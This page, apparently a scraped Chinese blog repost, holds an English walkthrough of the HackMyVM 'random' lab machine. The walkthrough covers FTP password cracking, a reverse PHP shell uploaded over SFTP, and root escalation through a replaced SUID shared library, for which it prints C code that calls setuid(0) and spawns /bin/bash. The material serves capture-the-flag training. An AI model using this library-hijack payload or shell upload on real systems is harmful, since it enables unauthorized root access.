当前位置:网站首页>hackmyvm-random walkthrough
hackmyvm-random walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get reverse shell
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
browse port 80, get the user name eleanor and alan.
crack ftp service, get the user eleanor's password.
use sftp login as eleanor , get into the path /html and upload reverse php shell, visit and get shell.
2. privilege escalation
find the program with suid, we get the file /home/alan/random.
random used Dynamic link library /lib/librooter.so which we can replace.
Disassemble random with ida.
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
v5 = atoi(argv[1]);
v3 = time(0LL);
srand(v3);
if ( v5 == rand() % 9 + 1 )
makemeroot(v3);
else
puts("Wrong number");
return 0;
Regardless of random numbers, you can enter the dynamic link function makemeroot as long as you try a few more times. We recompile the librooter.so with this code:
#include <stdlib.h>
void makemeroot()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

try a few more times, then get root.
边栏推荐
猜你喜欢

IO stream, encoding table, character stream, character buffer stream

SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration

TCP communications program

解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址

IO流、 编码表、 字符流、 字符缓冲流

uniapp | 使用npm update更新后编译报错问题

(3) Thinkphp6 database

js 原型和原型链

PHP8.2 version release administrator and release plan

ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
随机推荐
Several interesting ways to open PHP: from basic to perverted
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
IP门禁:手把手教你用PHP实现一个IP防火墙
[campo/random-user-agent] Randomly fake your User-Agent
正则笔记(1)- 正则表达式字符匹配攻略
(8) requests, os, sys, re, _thread
(6) 学生信息管理系统设计
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
PHP8.2将会有哪些新东西?
---static page---
[sebastian/diff] A historical change extension library for comparing two texts
ES6迭代器解释举例
16.JS事件, 字符串和运算符
Add a full image watermark to an image in PHP
[league/flysystem] An elegant and highly supported file operation interface
PHP有哪些框架?
JS objects, functions and scopes
每日五道面试题总结 22/7/23
Xiaoyao multi-open emulator ADB driver connection
第一次手撕代码,如何解出全排列问题